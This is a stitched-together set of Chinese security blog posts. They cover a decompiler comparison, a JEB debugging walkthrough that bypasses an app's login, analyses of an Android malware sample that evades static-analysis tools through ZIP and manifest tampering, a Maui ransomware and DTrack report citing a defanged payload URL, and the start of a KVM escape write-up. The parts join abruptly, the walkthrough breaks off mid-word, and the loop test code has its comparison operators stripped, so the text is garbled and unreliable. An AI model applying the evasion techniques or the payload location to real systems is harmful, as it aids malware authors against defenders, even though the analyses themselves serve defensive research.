反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB×高中GDA高高Test2接下來看看他們對雙層循環的結構化分析的能力,設計一個雙層循環,在內層循環break出外層循環,實際上基本塊5即if(a 10),不僅會是內存循環的鎖節點,也會是外層循環的鎖節點。並且該鎖節點為二路條件節點,其一個分支路徑回到內層循環,另外一個分支結構回到外層循環。一般對循環結構算法都是循環頭-鎖節點一一對應,因此處理過程中可能會復雜化該類結構。代碼實現非常簡單如下:

publicvoidtest2(inty,inta){

while(y0){

while(a0){

if(a10){

break;

}

}

}

}

attachBaseContext(this);

}重新編譯apk後,再進行反編譯後,如下圖所示:

f61654c8fad1346041bba769daa7b737

test2

通過上述對比可以看出在語義準確性上,Incinerator、JEB保持了語義的準確性,都識別除了雙重循環,GDA僅有函數聲明,丟失了整個函數的代碼塊。

在代碼可讀性上,Incinerator優化了if-else組合,JEB在if中加入continue省略else語句,兩者可讀性都很好。

在代碼還原度上,Incinerator、JEB除了各自在if-else上的優化,還原度都很高。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test3這一段代碼在退出循環的”if(a10)”語句中內嵌了另外一個if語句,這會導致內層循環的鎖節點發生變化,並且給內層循環添加了一個跟隨節點,另外代碼做了稍稍的改動。如下:

publicvoidtest3(inty,inta){

while(y0){

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

break;

}else{

y=y/a;

}

}

}

this.attachBaseContext(this);

}

}繼續編譯成apk,再進行反編譯操作,如下圖所示:

8dd35acc6d19712de616aed4a9777f32

test3

通過對比可以看出在語義準確性上,Incinerator、JEB仍然保持了語義的準確性,GDA重複聲明了a、y變量,並且繼續丟失函數內部的代碼塊。

在代碼可讀性上,Incinerator、JEB保持很好的代碼可讀性,JEB使用了continue來分割嵌套的if。

在代碼還原度上,Incinerator最為接近源碼,JEB改為使用continue來分割嵌套的if。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator高高JEB高高GDA×低低Test4在內層循環的第一個if-else結構上添加一個後隨節點,並且最後break出內層循環到外層循環。並且將a=a*5語句後的break改成continue。代碼如下:

publicvoidtest4(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}同樣編譯成apk後再反編譯,如下圖所示:

6002ea5b38852a4bf5870e1aee4ad462

test4

通過上述對比可以看出

在語義準確性上,Incinerator在a *=5; 後面丟失了continue,在y *=a; 後面丟失了退出循環的break;JEB保持了語義的正確性;GDA重複聲明變量,也丟失了函數內的代碼塊。

在代碼可讀性上,Incinerator、JEB可讀性都很好。

在代碼還原度上,Incinerator與源碼最為相似,但是丟失了continue、break;JEB使用continue分開了if-else,將else後面的y /=a,與y *=a合併為新的y=y/a * a,並加入break,還原度上有了一定的改變。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB高中GDA×低低Test5這次在“if(a10)”內部加入switch,在a為11、12時,執行“a=a * 5”,並continue返回內循環while,a為13時,執行“a=a * 6”,繼續往下執行,並不退出,a為14時,執行“a=a * 7” 退出switch, 與default中加入if-else,代碼如下:

publicvoidtest5(inty,inta){

while(y0){

y++;

while(a50){

a=a+1;

y=y+1;

if(a10){

switch(a){

case11:

case12:

a=a*5;

continue;

case13:

a=a*6;

case14:

a=a*7;

break;

default:

if(a100){

a=a*5;

continue;

}else{

y=y/a;

}

}

}

y=a*y;

break;

}

this.attachBaseContext(this);

}

}最後編譯成apk後反編譯,如下圖所示:

9423c2d3183b388f644c6fadcfbf5295

test5

通過上述對比可以看出在語義準確性上,Incinerator在switch將a為11、12、default中的continue錯誤表達為break,丟失了y *=a後面退出內循環的break;JEB保持了語義的正確性在,但在label_18的break之後,多了兩句無用的代碼a *=8;continue;GDA沒有識別出內循環,使用if與goto做處理,switch中a為11、12時多了break,沒有識別出a=14,且在default中,執行完y=y/a後繼續執行'a=a * 7'。

在代碼可讀性上,Incinerator識別出雙循環、switch-case可讀性上最好,JEB、GDA多次出現goto,在代碼可讀性上存在一定的影響。

在代碼還原度上,Incinerator與源碼最為相似,但在節點的退出上存在一定的問題,JEB、GDA在代碼的還原度上膨脹比較大。

反編譯器語義準確性代碼可讀性代碼還原度Incinerator×高中JEB中中GDA×中低調試能力測試逆向工程工具針對Apk可調試,對於研究人員來說有著極大的幫助,而對於已經發布後的應用再進行調試的話,可調試的前提條件會比較苛刻,如:設備是否root、調試屬性是否開啟、能否重打包等,這些因素都會影響著是否能夠調試,而影響調試功能的好壞、支持與否,取決於:能否stepover、stepinto、breakpoint,能否獲取/修改變量值等,這些因素都體現著調試器是否好用。所以我們從上述多個維度,對Incinerator、JEB的調試做下簡單對比,但因GDA不支持調試,所以下面的內容無法針對GDA進行測試對比。

這裡直接使用Android Studio自帶的example:Login Activity進行對比,如圖1-2所示:

72a03afc6836285c34d5e3234bf992fc

圖1

e1ecd5a7f6c45018c44dc7ea23ea0b3c

圖2

在登錄驗證的位置做細微修改,讓它基本不可能登錄成功,然後再分別使用JEB、Incinerator進行分析登錄過程,並繞過登錄限制。修改的代碼與登錄失敗,如圖3-4所示:

67e985a816171ca2bfbc7045086c456e

圖3

c686e78245ee860d6f9a03acecbcf3af

圖4

調試設備:Nexus 5X

系統版本:7.1.2

root狀態:已root

主要測試功能:

下斷點

步進

步過

跑至光標

顯示與修改變量值

免debugger屬性調試

smali調試

偽代碼調試

JEB調試首先手動安裝編譯好的apk,然後使用JEB反編譯對應apk,點擊JEB上的start. 如圖5所示:

f59a75d9a167571550761a7f9e0d45c7

圖5

出來Attach界面,因為應用還沒啟動,所以並沒有看到Processes中有進程列表,如圖6所示:

1d6c2a933eae2f3f45a43b8dfbfdaf61

圖6

通過命令(adb shell am start -D -n com.testdemo3/.ui.login.LoginActivity)啟動進程,JEB點擊(Refresh Machines List)刷新列表,看到已經跑起的測試案例,如圖7所示:

a7a1022cd33cdd32a34526e7950dc177

圖7

點擊Attach後,發現無法debug,按提示指app沒有開啟debuggable屬性或者設備沒有root,建議使用模擬器、root設備或者重打包app。 (實際上設備已root),如圖8所示:

14eb8cc4bcc1153f20d81ec3c48e0728

圖8

我們在AndroidManifest中加入android:debuggable='true'並重新編譯(如果是第三方的app只能嘗試用apktool等工具進行重打包,有簽名、完整性等校驗的話再想辦法將其繞過)

現在可以成功Attach上去。

我們使用JEB反編譯登錄界面的activity:LoginActivity,在按鈕的點擊觸發代碼中加入斷點,如圖9所示:

cb7e6b9d77ccdd3d0940a62ccbbe1773

圖9

因不支持在偽代碼中加入斷點,我們切換回smali(快捷鍵Q),在onClick的第一行按Ctrl+B加入斷點,如圖10所示:

2973f6abcb0812c148d737436de4b6d2

圖10

操作app,輸入帳號密碼,點擊:SIGN IN OR REGISTER,在JEB中成功觸發斷點,如圖11所示:

JEB此處有個優勢,它的佈局可以根據個人喜好隨意拖拉

4e5e64f1ce1c439f2938500955500b94

圖11

當前顯示的變量似乎有些異常,我們此時忽略他,鼠標放到00000040 處,點擊JEB的'Run to line',成功跳到指定行,如圖12所示:

5e176b7f9fb8c43f2b0c2a4abbda242f

圖12

JEB一開始將所有變量當作int類型處理,我們分析代碼,可以知道此處的V1、V2是輸入的帳號與密碼,類型是String,因此,我們點擊V1、V2中的Type將int改為String,如圖13所示:

c5573234eacd57bc2809142639d00c88

圖13

v1、v2成功修正類型,對應的值也成功顯示出我們測試輸入的帳號密碼。

在JEB中點擊步進(Step Into)到LoginViewModel的login方法,如圖14所示:

7a36c5e8a7cabc39b6d6a50302369f5b

圖14

成功步進LoginViewModel的login方法,但是在這裡可以看到,剛才修改的類型(此處對應的是p1、p2)又重新變回了int。

根據smali可知道,接下來會調用LoginRepository的login方法,隨後返回Result

我們再繼續點擊兩次步進(Step Into)進入LoginRepository的login方法,如圖15所示:

9d65fb40f8f67ea74cea4507b3dcf0d4

圖15

在此方法中,它會繼續將帳號密碼傳給LoginDataSource的login方法,返回Result

繼續步進(Step Into)兩次,進入LoginDataSource的log

背景

隨著移動應用的廣泛普及,惡意軟件也日趨複雜和隱蔽。本報告著眼於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

樣本哈希值:

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

在ReBensk 提交至incinerator.cloud 的多個惡意樣本中,我們特別關注了一款經過自定義修改的APK 文件,以下簡稱為“樣本b356”。這個樣本採用了獨特的混淆和隱蔽技術,導致標準的解壓縮工具無法成功解壓其內容。通過特定的修正操作,我們成功突破這一限制,並進一步分析了該樣本。

分析過程

1. 解壓失敗分析

在嘗試使用7z 工具解壓這個APK 文件時(Apk 本質上是一個ZIP 文件),遇到錯誤顯示AndroidManifest.xml header錯誤,這說明標準的解壓過程無法正確地解壓樣本b356。

1.PNG

在使用010 Editor 打開APK 文件並應用ZipAdv 模板進行解析後,並未發現任何明顯的錯誤或異常。

2.PNG

為了更深入地了解問題,我們打開了一個正常運行的APK 文件進行對比分析。這樣做是為了確定是否存在某種特殊或不規則的結構或數據,可能是導致解壓失敗的原因。

3.PNG

通過對比發現,我們發現樣本b356 採用了一個不非法的壓縮算法0x23C2。在標準的ZIP 格式規範中,壓縮方法由一個短整數(short)表示,取值通常如下文所示(以下代碼取自010 Editor 的ZIPAdv.bt 模板)。由於0x23C2不是任何已知的標準壓縮方法,因此7z 等解壓工具無法識別和處理。

微信图片_20230830182439.png

因此,樣本b356 採用了未知的壓縮算法,導致通用壓縮工具解壓縮失敗。但為什麼它能在Android 系統上仍然可以成功安裝和運行呢?

2. Android 系統的成功解析與運行原因

正如下圖所示, 根據Android 系統源代碼,當系統遇到非COMP_DEFLATE的壓縮算法時,它會採用“未壓縮”(COMP_STORED)的方法處理輸入文件。具體來說,系統直接讀取未壓縮數據的長度,並據此進行解析。

4.png

5.png

6.png

7.png

9.png

10.png

11.png

請注意看黃框和紅框中的代碼對比,在黃框中,如果使用的是COMP_DEFLATE 壓縮算法,系統將按照相應的方法解壓縮,如果不是,系統將直接讀取壓縮前的長度,然後進行處理。

這就解釋了為什麼修改了AndroidManifest 的壓縮方法後,系統仍然可以正確運行。樣本b356 在正常打包流程完成後,將包中的AndroidManifest.xml 文件內容替換為未壓縮前的內容,並將壓縮算法替換為非COMP_DEFLATE 。因此,常規解壓工具會失敗,但Android 系統會按照未壓縮的方式處理,因此可以正常運行。

3. 解壓程序的修改建議

3.1 修復 Apk

12.png

按照Android 系統的處理方式,Apk 的AndroidManifest.xml 只能採用兩種壓縮方式。 COMP_DEFLATE 或未壓縮。

如果壓縮算法不是默認的COMP_DEFLATE ,那麼一定是未壓縮。因此修復apk 的方法是,如果發現壓縮算法不是COMP_DEFLATE ,將壓縮算法設置為0,即未壓縮,並將壓縮後的長度設置為壓縮前的長度。這樣,常規解壓工具就可以解壓了。

修復後,我們嘗試使用7-Zip(通常簡稱為7z)工具進行解壓,結果如下圖所示。儘管仍然存在錯誤,特別是關於CRC(循環冗餘檢查)值尚未修復的問題,但我們已成功解壓了APK 文件,並可以訪問其中的AndroidManifest.xml 內容。

13.png

14.png

3.2 靜態分析工具的修復

靜態分析工具可以按照系統的解壓方式處理,如果發現AndroidManifest.xml 的壓縮方法不是COMP_DEFLATE ,那麼就讀取壓縮前的長度作為AndroidManifest.xml 的內容。

總結

由於Android 系統在解析時對非COMP_DEFLATE 的壓縮方式採取的是未壓縮處理,從邏輯上看,這種做法並不符合規範,因此,導致b356 成功地利用了這一邏輯漏洞。徹底的解決方案應該是Android 系統按照規範的zip 包解壓格式進行處理。

來源:https://www.liansecurity.com/#/main/news/GzKmQIoBUQjGUXE22_tO/detail

背景

隨著移動應用的廣泛普及,惡意軟件也日趨複雜和隱蔽。本報告聚焦於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

基本信息

樣本哈希值:

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

經由ReBensk 提交至incinerator.cloud 的多個惡意樣本中,我們特別關注了一款經過自定義修改的APK 文件,以下簡稱為“樣本b356”。這一樣本具有獨特的混淆和隱蔽技術,導致標準的解壓縮工具成功解壓其內容。我們通過針對性修復後,成功解壓縮。但是常用的apk 分析工具仍然分析失敗,通過進一步深度分析,我們得以突破樣本的限制,最終能夠成功分析。

分析過程

1. AndroidManifest.xml 的文件類型修改

1.1 分析失敗的原因

我們利用010 Editor 打開樣本b356 中修復後的AndroidManifest.xml 二進製文件。嘗試用該工具的AndroidResource 模板進行分析時,首次嘗試遭到失敗。從錯誤日誌中了解到,問題起始於文件的pos:0。

1.PNG

通過與正常的AndroidManifest.xml 二進製文件對比,我們發現其首個字節即有差異。

2.PNG

資源文件的類型定義如下:

enum {

RES_NULL_TYPE=0x0000,

RES_STRING_POOL_TYPE=0x0001,

RES_TABLE_TYPE=0x0002,

RES_XML_TYPE=0x0003, //Chunk types in

RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE=0x0100,

RES_XML_START_NAMESPACE_TYPE=0x0100,

RES_XML_END_NAMESPACE_TYPE=0x0101,

RES_XML_START_ELEMENT_TYPE=0x0102,

RES_XML_END_ELEMENT_TYPE=0x0103,

RES_XML_CDATA_TYPE=0x0104,

RES_XML_LAST_CHUNK_TYPE=0x017f, //This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE=0x0180, //Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE=0x0200,

RES_TABLE_TYPE_TYPE=0x0201, RES_TABLE_TYPE_SPEC_TYPE=0x0202

};

按照Android 規範,該字節通常應為0x03,但在樣本b356 中並非如此。

1.2 為什麼 android 系統可以解析

定位到android 系統解析源碼,

2(2).png

這裡是開始解析Androidmanifest.xml 二進製文件的地方,如源碼所示,沒有驗證前兩個字節是否是0x0003,只對headerSize 的合法性做了驗證。所以樣本b356 修改了文件類型後,android 系統仍然能夠正確解析。

1.3 修復建議

靜態分析工具修復建議:和Android 系統解析流程保持一致,此處不校驗文件類型。

2. stringPoolSize 修改

2.1 數據異常點分析

我們手動修正首個字節為0x03 以便進一步分析。再次嘗試用AndroidResource 模板解析後,發現分析仍然失敗,只展示了字符串池(string pool)而沒有解析出XML 主節點。

3.png

展開stringoffsets的數據進行查看,從第131 個stringoffset開始,數據顯著異常,遠超文件全長,明顯是錯誤的。進一步分析stringPool的頭部信息,計算出實際的字符串個數為131。

4.png

在樣本b356 的stringoffsets字段中,從第131 個開始,數據明顯存在異常:這些值遠遠超過了整個文件的實際長度。這種不一致性明顯指向了一個錯誤,也意味著記錄在stringoffsets中的數量很可能是不准確的。

5.png

在深入分析樣本b356 中的stringpool結構時,我們首先確認了strdata[0],即stringpool中的第一個字符串,被正確解析。這一點是非常關鍵的,因為它證明了我們的解析起始位置(0x230,即十進制的560)是準確的。

stringsStart字段指出了從文件頭(header)開始計算,552 個字節後就是stringpool的開始位置。由於通常會有8 個字節用於存儲stringpool的元信息(例如長度或其他標記),所以552+8 恰好等於560。

6.png

這自然引發了一個問題:這552 個字節的具體內容是什麼?我們知道strPoolheader自身就佔用了28 個字節(或者說是0x1C)。如果從552 個字節中扣除這28 個字節,那麼剩下的524 個字節用於什麼呢?

剩下的524 個字節非常可能是用於存儲stringoffsets的。每個stringoffset通常會佔用4 個字節,因此524/4 正好等於131。這一點與我們之前通過手動計算得出的stringoffsets數量是一致的。

7.png

在之前的深度分析中,我們推斷出stringoffsets的實際數量為131,這與樣本b356 中錯誤地標識的數量不一致。為了能更準確地解析該樣本,我們決定修正stringCount字段。

2.2 為什麼 Android 系統能夠正確解析

7(2).png

如上圖系統解析stringPoolsize的源碼所示,stringPoolsize是計算得到,所以樣本b356 修改了stringPoolsize讓眾多通過從文件中讀取stringPoolsize的靜態分析工具失效,但android 系統在解析時任然可以通過計算得到正確的stringPoolSize。

2.3 修改建議

靜態分析工具修改建議:按照android 系統的做法,stringPoolSize通過計算得到,而不是從文件中解析。

手動調整:首先,在樣本b356 的stringPool頭部中找到stringCount字段,並將其值修改為131。

重新解析:在完成修正操作後,我們再次使用010 Editor配合AndroidResource模板來解析樣本。

經過修改後,我們發現XML 的主要節點已經成功被解析。這意味著我們的手動修正是有效的,並且我們現在能夠看到該樣本的更多內部細節。

8.png

儘管我們手動修復了stringCount和成功用010 Editor解析了AndroidManifest.xml的主要節點,使用專用的靜態分析工具依然會出錯。具體的錯誤出現在二進製文件的0x1588字節位置。

3. 在 xml 節點結束位置插入混淆數據

3.1 數據異常分析

我們手動修改stringCount的131,以便繼續分析。

010 Editor 重新加載修改後的文件,結果如圖如下圖所示:

9.png

010 Editor 在解析時已經沒有問題了,但是用靜態分析工具解析時在0x1588遇到非預期數據。

在0x1587字節位置,第一個XML 元素已經結束。靜態分析工具預期0x1588字節作為下一個ResChunk_header的起始點進行分析。然而,在0x158A字節位置嘗試解析size字段時,出現異常。根據ResChunk_header結構的約束,這個size值應該至少大於8,但實際數據並沒有滿足這一條件。

樣本b356 應該是在0x1588字節處插入了一些非標准或混淆的數據,導致靜態分析工具分析出錯。

查看010 Editor 的解析結果得知,startEle 的headersize字段進行了改動,以便在元素結束後添加混淆內容。

10.png

在解析attribute字段之後,如果解析尚未完成或遇到異常,工具應自動跳過到elementStart + size的位置,從那裡開始解析下一個元素。這樣做的目的是繞過可能存在的干擾或錯誤數據。

3.2 為什麼 Android 系統可以解析

如下圖android 系統源碼所示,讀取每個attribute 的數據通過attributeExt的位置,attributeExt的start,attributeExt的attributeSize 計算得到的,attributeExt的start,attributeExt的attributeSize 從byte 中讀取,所以只要attributeExt的attributeStart 正確,就能保證獲取到正確attributeData。

11.png

那attributeExt是怎麼定位的?如下圖源碼所示,每次解析下一個節點的時候,都是當前節點的位置加上header 中讀到的size的長度。

以上文中的案例來描述就是,startEle[1]的位置=startEle[0]的位置+startEle[0].header-size。所以樣本b356 在原先apk 的startEle[0]結束後填充干擾數據的同時,也修改了startEle[0].header-size 的長度,從而讓系統正確解析。

12.png

3.3 修改建議

靜態分析工具修改建議:參照Android 系統的解析方法,每個xml 節點的起始位置是通過上一個節點的起始位置+ 上一個節點的長度。

總結

“b356”樣本展示了多層次、多維度的混淆和隱蔽技術,其目的明確:抵制和破壞標準解壓縮工具和靜態分析解碼的能力。

b356 能夠混淆成功,主要原因是android 系統解析處理流程和市面上常用的靜態分析工具在一些細節上存在出入。

此樣本中只有三個修改點,其他的樣本中還存在一下其他的點,我們在下一篇blog 中會接著分析。

但是主動的對抗方式肯定不是針對每個點修修補補,而是統一靜態分析方式和android 系統解析流程。比方說,把系統源碼中解析方式轉換成靜態分析工具的方式,這個需要社區的共同努力。

來源:https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

sl-abstract-block-module-structure-1200x600.jpg

2022 年7 月7 日,CISA 發布了一篇題為“朝鮮國家支持的攻擊者使用Maui 勒索軟件攻擊醫療保健和公共衛生部門”的警報。最近,卡巴斯基實驗室的研究人員又對Maui 勒索軟件進行了研究,並將其出現的時間從2021 年5 月提前到了2021 年4 月15 日。由於早期事件中的惡意軟件是在2021年4月15日編譯的,而所有已知樣本的編譯日期都是相同的,因此這次事件可能是有史以來第一次涉及Maui 勒索軟件的事件。

雖然CISA 在其報告中沒有提出有力的證據將此次攻擊歸咎於朝鮮攻擊者,但卡巴斯基實驗室的研究人員確定,在將Maui部署到初始目標系統大約10小時前,該組織向目標部署了眾所周知的DTrack惡意軟件的變體,幾個月前又部署了3proxy(一個由俄羅斯人開發的多平台代理軟件)。綜上所述,研究人員十分有把握,認為這與針對韓國的APT組織Andariel類似。 Andariel是Lazarus組織下的一個子組,主要攻擊目標為韓國企業和政府機構。

2020.12.25:發現可疑的3proxy 工具;

2021.4.15:發現DTrack 惡意軟件;

2021.4.15:發現Maui 勒索軟件;

DTrack 惡意軟件1.png

一旦運行這個惡意軟件,它就會執行一個嵌入的shellcode,加載一個最終的Windows 內存中的有效負載。該惡意軟件負責收集受害者信息並將其發送到遠程主機。它的功能幾乎與以前的DTrack 模塊相同。該惡意軟件通過Windows 命令收集有關受感染主機的信息。內存中的有效負載執行以下Windows 命令:

2.png

此外,該惡意軟件還會收集瀏覽器歷史數據,並將其保存到browser.his 文件中,就像舊變種一樣。與舊版本的DTrack 相比,新的信息收集模塊通過HTTP 將被盜信息發送到遠程服務器,該變體將被盜文件複製到同一網絡上的遠程主機。

Maui 勒索軟件Maui 勒索軟件是在同一服務器上的DTrack 變種後十小時檢測到的。

3.png

Maui 勒索軟件存在多個運行參數。在此事件中,我們觀察到攻擊者使用“-t”和“-x”參數,以及特定的驅動器路徑進行加密:

4.png

在這個示例中,“-t 8”將勒索軟件線程數設置為8,“-x”命令惡意軟件“self melt”,“E:”值將路徑(在這個案例中為整個驅動器)設置為加密。勒索軟件的功能與之前Stairwell 報告中描述的相同。

該惡意軟件創建了兩個密鑰文件來實現文件加密:

5.png

不同受害者身上的類似DTrack 惡意軟件根據對相鄰主機的滲透信息,研究人員在印度發現了更多受害者。其中一台主機最初於2021 年2 月遭到攻擊。 Andariel 很可能竊取了提升的憑據以在目標組織內部署此惡意軟件,但這種猜測是基於路徑和其他工件,具體細節還需要繼續分析。

6.png

該惡意軟件的主要目標與上述受害者的情況相同,使用不同的登錄憑據和本地IP 地址來竊取數據。

7.png

Windows命令來竊取數據

從同一個受害者身上,我們發現了其他使用不同登錄憑據的DTrack 惡意軟件(MD5 87e3fc08c01841999a8ad8fe25f12fe4)。

新增DTrack模塊和初始感染方法“3Proxy”工具可能是攻擊者使用的工具,於2020 年9 月9 日編譯,並於2020 年12 月25 日部署給受害者。基於這個檢測和編譯日期,研究人員擴大了研究範圍,發現了一個額外的DTrack 模塊。該模塊編譯於2020年09月16日14:16:21,並在2020年12月初檢測到,與3Proxy工具部署的時間點相似。

8.png

這個DTrack模塊非常類似於DTrack的事件跟踪模塊,該模塊之前被報告給我們的威脅情報客戶。在一個受害系統中,我們發現一個知名的簡單HTTP服務器HFS7部署了上面的惡意軟件。在一個易受攻擊的HFS服務器上使用未知漏洞並執行“whoami”後,執行下面的Powershell命令從遠程服務器獲取額外的Powershell腳本:

9.png

mini.ps1 腳本負責通過bitsadmin.exe 下載並執行上述DTrack 惡意軟件:

10.png

另一個受害者操作了一個易受攻擊的Weblogic 服務器。根據分析,攻擊者通過CVE-2017-10271 漏洞攻擊了該服務器。研究人員看到Andariel 在2019 年年中濫用了相同的漏洞並破壞了WebLogic 服務器。在本案例中,被利用的服務器會執行Powershell 命令來獲取額外的腳本。獲取的腳本能夠從我們上面提到的服務器(hxxp://145.232.235[.]222/usr/users/mini.ps1)下載Powershell 腳本。因此攻擊者至少在2020 年底之前濫用了易受攻擊的面向互聯網的服務來部署他們的惡意軟件。

受害者分析2022年7月的CISA 警報指出,醫療保健和公共衛生部門已成為美國Maui 勒索軟件的攻擊目標。然而,根據我們的研究,我們認為這項業務並不針對特定行業,而且其影響範圍是全球性的。可以確認,有一家日本住房公司於2021 年4 月15 日成為Maui 勒索軟件的攻擊目標。此外,來自印度、越南和俄羅斯的受害者在類似的時間範圍內被日本Maui 事件中使用的DTrack 惡意軟件感染,時間是從2020 年底至2021 年初。

研究表明,該攻擊者相當投機取巧,無論其業務範圍如何,只要擁有良好的財務狀況,就可能成為其攻擊對象。攻擊者很可能偏愛易受攻擊的暴露於互聯網的Web 服務。此外,Andariel 有選擇地部署勒索軟件以獲取經濟利益。

11.png

幕後攻擊者是誰?根據卡巴斯基威脅歸因引擎(KTAE),來自受害者的DTrack惡意軟件與之前已知的DTrack惡意軟件具有高度的代碼相似性(84%)。

此外,我們發現DTrack 惡意軟件(MD5 739812e2ae1327a94e441719b885bd19) 使用與“Backdoor.Preft”惡意軟件(MD5 2f553cba839ca4dab201d3f8154bae2a) 相同的shellcode 加載程序,此後門由賽門鐵克發布。請注意,賽門鐵克最近將Backdoor.Preft 惡意軟件描述為“aka Dtrack, Valefor”。除了代碼相似性之外,攻擊者還使用了3Proxy 工具(MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb),該工具之前也被Andariel/StoneFly/Silent Chollima 組織(MD5 95247511a611ba3d8581c7c6b8b1a38a) 使用。賽門鐵克將StoneFly 歸咎於DarkSeoul 事件背後的攻擊者。

總結綜合分析,Maui 勒索軟件事件背後的攻擊者TTP 與過去的Andariel/Stonefly/Silent Chollima 活動非常相似:

在初始感染後使用合法代理和隧道工具或部署它們以保持訪問權限,並使用Powershell 腳本和Bitsadmin 下載其他惡意軟件;

使用漏洞攻擊已知但未修補的易受攻擊的公共服務,例如WebLogic 和HFS;

專門部署DTrack,也被稱為Preft;

目標網絡中的駐留時間可以在活動之前持續數月;

出於經濟利益,在全球範圍內部署勒索軟件。

0x01 基本介紹KVM(用於基於內核的虛擬機)是基於Linux 的雲環境的標準管理程序。除了Azure ,幾乎所有大型雲服務和託管服務提供商都在KVM 之上運行,將其變成了雲服務中的基本安全邊界之一。

在這篇文章中,我記錄了KVM 和AMD CPU 中發現的一個漏洞,並研究瞭如何將此bug轉化為完整的虛擬機逃逸。據我所知,這是KVM guest到物理主機突破的第一篇公開文章,它不依賴於用戶空間組件(如QEMU)中的漏洞。此漏洞被分配的漏洞編號是CVE-2021-29657,影響內核版本v5.10-rc1 到v5.12-rc6, 並於2021 年3月底做了修補。由於該漏洞僅在v5.10 中才可被利用並在大約5 個月後被發現,因此KVM 的大多數部署設備不受影響。我認為這個問題是一個有趣的案例研究,需要構建一個穩定的guest到主機的KVM 逃逸路徑,使得獲取KVM虛擬機管理程序權限不再僅僅是理論問題。

https://bugs.chromium.org/p/project-zero/issues/detail?id=2177q=owner%3Afwilhelm%40google.comcan=1

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a58d9166a756a0f4a6618e4f593232593d6df134下文首先簡要概述KVM 的架構,然後再深入研究漏洞及其利用。

0x02 KVMKVM 是一個基於Linux 的開源管理程序,支持x86、ARM、PowerPC 和S/390 上的硬件加速虛擬化。與其他大型開源管理程序Xen 相比,KVM 與Linux 內核深度集成,並在其調度、內存管理和硬件集成的基礎上構建,以提供高效的虛擬化。

KVM 由一個或多個內核模塊(kvm.ko 加上kvm-intel.ko 或x86 上的kvm-amd.ko)實現,它們通過/dev/kvm 設備向用戶空間進程公開一個基於IOCTL 的低級API。使用此API,用戶空間進程(通常稱為Virtual Machine Manager 的VMM)可以創建新的VM,分配vCPU 和內存,並攔截內存或IO 訪問以提供對模擬或虛擬化感知硬件設備的訪問。 長期以來,QEMU一直是基於KVM 的虛擬化的標準用戶空間選擇,但在最近幾年,LKVM、crosvm 或Firecracker等替代方案開始流行。

低級API:https://www.kernel.org/doc/html/latest/virt/kvm/api.html

[LKVM](https://github.com/lkvm/lkvm)

[crosvm](https://chromium.googlesource.com/chromiumos/platform/crosvm/)

[Firecracker](https://github.com/firecracker-microvm/firecracker)雖然KVM 依賴於單獨的用戶空間組件起初可能看起來很複雜,但它有一個非常優秀的好處:在KVM 主機上運行的每個VM 都有一個到Linux 進程的1:1 映射,使其可以使用標準Linux 工具進行管理。

這意味著,例如,可以通過轉儲其用戶空間進程的分配內存來檢查guest的內存,或者可以輕鬆應用CPU 時間和內存的資源限制。此外,KVM 可以將大部分與設備模擬相關的工作卸載到用戶空間組件。除了與中斷處理相關的幾個性能敏感設備之外,所有用於提供虛擬磁盤、網絡或GPU 訪問的複雜低級代碼都可以在用戶空間中實現。

在查看KVM 相關漏洞和利用的公開文章時,很明顯這種設計是一個明智的決定。大多數公開的漏洞和所有公開可用的漏洞都會影響QEMU 及其對模擬/半虛擬化設備的支持。

儘管KVM 的內核攻擊面比默認QEMU 配置或類似的用戶空間VMM 暴露的要小得多,但KVM 漏洞對攻擊者來說非常的有價值:

儘管可以對用戶空間VMM 進行沙箱化以減少VM 逃逸的影響,但KVM 本身沒有這樣的選項。一旦攻擊者能夠在主機內核的上下文中實現代碼執行(或類似的強大原語,如對頁表的寫訪問),系統就會完全受到損害。

由於QEMU 的安全歷史有些糟糕,像crosvm 或Firecracker 這樣的新用戶空間VMM 是用Rust編寫的。當然,由於KVM API 的不正確使用或漏洞利用,仍然可能存在非內存安全漏洞或問題,但使用Rust 有效地防止了過去在基於C 的用戶空間VMM 中發現的大部分漏洞。

最後,純KVM 漏洞可以針對使用專有或大量修改的用戶空間VMM 的目標。雖然大型雲提供商不會公開詳細介紹他們的虛擬化堆棧組件,但可以假設他們不依賴未修復的QEMU 版本來處理其生產工作負載。相比之下,KVM 較小的代碼庫不太可能進行大量修改。

考慮到這些優勢,我決定花一些時間挖掘一個KVM 漏洞,該漏洞可能會實現從客戶機到主機的逃逸。過去,我在KVM 對Intel CPU 上嵌套虛擬化的支持組件中挖掘到一些漏洞,因此可以想像AMD 的相同功能似乎也是一個很好的挖掘點。因為最近AMD 在服務器領域的市場份額增加意味著KVM 的AMD 實現突然成為一個比過去幾年更有趣的目標。

https://bugs.chromium.org/p/project-zero/issues/list?q=vmxowner%3Afwilhelmcan=1嵌套虛擬化,VM(稱為L1)生成嵌套guest(L2)的能力,在很長一段時間內也是一個小眾功能。然而,由於硬件改進減少了它的開銷並增加了客戶需求,它變得越來越廣泛可用。例如,微軟正在大力推動基於虛擬化的安全性作為較新Windows 版本的一部分,需要嵌套虛擬化來支持雲託管的Windows 安裝。 默認情況下,KVM 在AMD 和Intel上都啟用對嵌套虛擬化的支持,因此如果管理員或用戶空間VMM 沒有明確禁用它,它就是惡意或受感染VM 的攻擊面的一部分。

